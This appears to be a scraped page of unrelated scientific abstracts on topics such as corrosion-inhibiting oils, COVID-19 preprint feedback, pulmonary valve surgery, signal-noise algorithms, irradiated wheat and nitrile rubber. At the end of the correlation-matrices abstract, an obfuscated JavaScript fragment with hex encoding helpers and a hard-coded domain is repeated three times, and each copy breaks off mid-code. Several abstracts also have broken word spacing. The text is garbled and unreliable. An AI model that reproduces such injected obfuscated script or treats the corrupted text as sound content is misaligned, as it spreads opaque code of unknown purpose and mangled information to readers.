Conservative liquids based on synthetic petroleum acids salts and aliphatic nitro-compounds

Synthetic oil acids (SOA) salts and nitroderivatives of high olefins C14 as oil-soluble corrosion inhibitors for mild steel in various mediums was synthesized. On the bases of turbine oil T-30 was prepared composition of conservative liquid and investigated their properties. The best result for the conservation liquids were obtained with Co-salt of SOA and nitroderivatives of α-olefins of C14. Protection period in sea water was 103 days, in hydrocamber was 206 days

The experiences of COVID-19 preprint authors: a survey of researchers about publishing and receiving feedback on their work during the pandemic

The COVID-19 pandemic caused a rise in preprinting, triggered by the need for open and rapid dissemination of research outputs. We surveyed authors of COVID-19 preprints to learn about their experiences with preprinting their work and also with publishing their work in a peer-reviewed journal. Our research had the following objectives: 1. to learn about authors’ experiences with preprinting, their motivations, and future intentions; 2. to consider preprints in terms of their effectiveness in enabling authors to receive feedback on their work; 3. to compare the impact of feedback on preprints with the impact of comments of editors and reviewers on papers submitted to journals. In our survey, 78% of the new adopters of preprinting reported the intention to also preprint their future work. The boost in preprinting may therefore have a structural effect that will last after the pandemic, although future developments will also depend on other factors, including the broader growth in the adoption of open science practices. A total of 53% of the respondents reported that they had received feedback on their preprints. However, more than half of the feedback was received through “closed” channels–privately to the authors. This means that preprinting was a useful way to receive feedback on research, but the value of feedback could be increased further by facilitating and promoting “open” channels for preprint feedback. Almost a quarter of the feedback received by respondents consisted of detailed comments, showing the potential of preprint feedback to provide valuable comments on research. Respondents also reported that, compared to preprint feedback, journal peer review was more likely to lead to major changes to their work, suggesting that journal peer review provides significant added value compared to feedback received on preprints

Transcatheter surgery of residual right ventricular outflow tract stenosis

Over the past 40 years, various types of prostheses have been developed for right ventricular outflow tract reconstruction. However, conduit stenosis and insufficiency due to valve degeneration occur frequently, decreasing the lifetime of patients. Transcatheter stenting of conduits does not always give favorable results and can lead to severe pulmonary regurgitation. The novel method of percutaneous pulmonary valve implantation is a good alternative to the surgical intervention according to data on long-term survival and quality of life

Development of the Robust Algorithms and Control System of Technical State of Construction Objects

The object of the research is the technical state of the construction objects. The most problematic part of the task is the fact that with the use of existing traditional control systems based on known methods for calculating dispersion, correlation, spectral, static and dynamic characteristics, it becomes possible to detect only pronounced changes in the technical state of the controlled object. And this, in turn, prevents the timely conduct of an operational set of measures to prevent premature wear, damage and the appearance of defects. In the course of the research, technologies are developed for robust noise analysis of noisy signals received at the output of sensors installed in certain nodes of a construction object, as well as spectral analysis of noise. Due to the use of mentioned technologies, it becomes possible to eliminate the influence of noise on the adequacy of the results of monitoring and to conduct continuous control of the technical state of the construction objects in order to detect the latent stage of the origin of the changes, which is currently impossible with the application of existing algorithms and technologies. On the basis of stated technologies, the basic principles for the development of a system for the continuous control of the latent period of the origin of changes in the technical state of construction objects are proposed. Identification of the latent period of the origin of changes allows reducing material and time costs due to timely carrying out preventive maintenance work

Development of the Algorithms of Correction of Correlation Matrices

Statistical methods are widely used in solving problems of automatic management of industrial objects, as they enable us to determine the dynamic characteristics during normal operation of objects. The statistical correlation method for determining these dynamic characteristics is based on the solution of an integral equation that includes the correlation functions and of the input and output signals. It allows us to obtain the dynamic characteristics of an object without disturbing its regular operation mode.However, the application of these methods for constructing mathematical models of real-life industrial objects presents the following certain difficulty. Interferences and noises are imposed upon the useful signal, hindering the calculation of the estimates of their static characteristics. The paper presents one possible option of creating alternative methods and technologies for eliminating the error induced by noise during the formation of correlation matrices. The proposed general algorithms allow for reducing these matrices to the similar matrices of useful signals.Two presented alternative robust technologies enable one to solve these problems both in the absence of a correlation between the useful signal and the noise and in the presence of such. The validity of the result is controlled by duplication the obtained estimates of the elements of matrices by both methods. In many real-life industrial objects the need to apply the procedure of normalization of the estimates take place. This leads to an additional error, which also leads to the disruption of adequacy of the results. In the paper, the general methods and technologies for eliminating that error are proposed.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Influence of iron complexes on formation of photosynthetic apparatus and outcome of genetic changes at the gamma irradiated seeds of wheat

Influence of various doses of γ-irradiation on biosynthesis of chlorophyll and carotinoids, and also on a progress of mitotic divisions of meristematic cells of root hairs at sprouting wheat seeds at the presence of pyrocatechol, iron pyrocatecholat, thiocarbamide, iron thiocarbamide, rutine, iron rutinate, juglon and iron juglonate was studied. There was revealed that iron pyrocatecholate, iron rutinate, juglon and iron juglonate possess appreciable radioprotective properties which stimulate adaptive biosynthesis of chlorophyll and carotinoids, and also considerably reduce a number of chromosomal aberrations under irradiation

Study of Influence of Copolymer Vinyl Chloride and Vinyl Acetate on the Properties of Butadiene Nitrile Rubber

Abstract Influence of a copolymer of v inyl chloride and vinyl acetate to the properties of butadiene nitrile rubber has been studied. It is shown that the growth of the molecu lar weight of BNR by mixing latex rubber and copolymer in a ratio 80:20, 75:25, 65:35 leads to obtaining micro heterogeneous systems. Copoly mer in itially acts as an interstructural amp lifier and then depending on their ratio p lays the role of the dispersed phase in the plasticization. By the method of rheological analysis it was found out that increase of mo lecular weight was observed in the interval time (0-90 min), characteristic viscosity increases with the ratio of 75:25 copoly mer fro m 0.6 to 1.4. A sol-gel analysis showed that with increase in the concentration of the copoly mer in BNR the nu mber o f chains grid (1/Ms) in the rubber decreases. It was found out that consumption of cross linked molecules (1/Mn) for the cross-linking is reduced, it beco mes constant at a ratio of 100:65:25. Co mparison of the kinetics of thermo metallic o xide vulcanization o f BNR with the accelerator disulphide chloride benzene (DSCB) increases the yield concentration of the effective cross-links (n `c) in the molecule BNR. Experiment showed that in the presence of the accelerator DSCB and zinc o xide the structuring main ly goes by the double bond

Study of the Structure and Parameters of Grid of Hydrogenated Butadiene Nitrile Rubber cross-linked with Polymer Peroxides

Abstract Studied the ro le of poly mer pero xide (1,4-b is-tret butyl pero xy isopropyl benzene) and triazine co mpounds (2-phenyl-4, 6-bis-trichloro methyl sym triazine) in hydrogenated butadiene nitrile rubber (HBNR) systems HBNR + Poly meric Pero xide, HBNR + Triazine Co mpounds under heating. By physical and chemical, spectral methods of analysis shown, that the changes in molecu lar structure of HBNR in the presence of poly mer pero xides and triazine co mpounds. Determined the kinetics of yield and the emergence of cross-linking density of the grid HBNR fo r each reaserched system depend on time . It is shown that cross linking of the HBNR with pero xide poly mers occurs by a radical type